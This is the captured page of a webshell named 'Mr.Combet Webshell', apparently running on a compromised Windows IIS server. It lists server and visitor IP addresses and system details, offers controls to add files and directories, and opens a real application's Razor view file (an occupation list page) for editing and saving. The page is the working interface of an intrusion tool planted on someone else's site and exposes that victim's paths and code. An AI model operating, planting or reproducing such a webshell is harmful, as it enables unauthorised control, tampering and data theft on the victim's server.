Mr.Combet Webshell
Your IP :
216.73.216.136
Server IP :
103.233.58.157
Server :
Windows NT WIN-4PGF72KEHKB 10.0 build 17763 (Windows Server 2016) AMD64
Server Software :
Microsoft-IIS/10.0
PHP Version :
7.3.25
Add File :
Submit
Add Directory :
Submit
Dir :
C:
/
inetpub
/
wwwroot
/
VITA
/
Views
/
Occupation
/
Edit File Name :
Index.cshtml
@model List<RER_Project.DataAccess.Models.Occupations> @using RER_Project.Core.Helpers @using RER_Project.BusinessLayer.BusinessService; @{ var meta = AppUserService.GetCurrent(); } @{ ViewBag.Title = " Occupation List"; } <div class="wrapper wrapper-content animated fadeInRight"> <div class="row"> <div class="col-lg-6"> <div class="ibox float-e-margins"> <div class="ibox-content"> <label style="font-size: medium"><b>Occupation List</b></label> <div class="pull-right"> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <a href="/occupation/create" class="btn btn-primary">Create</a> } </div> <hr /> <div class="table-responsive" style="margin-top: 16px;"> <table class="table table-bordered table-hover" name="tblQuadrimester" id="Quadrimester"> <thead> <tr> <th>Name</th> <th>Action</th> </tr> </thead> <tbody> @foreach (var item in Model) { <tr> <td>@item.OccupationName</td> <td> @if (meta.RoleId == (int)EnumRoleHelper.Roles.Admin || meta.RoleId == (int)EnumRoleHelper.Roles.MnEExpert) { <a href="@("/occupation/edit?id=" + item.Id )" title="Edit" style="font-size:15px;padding:5px"><i class="fa fa-edit"></i></a> } </td> </tr> } </tbody> </table> </div> </div> </div> </div> </div> </div>
Save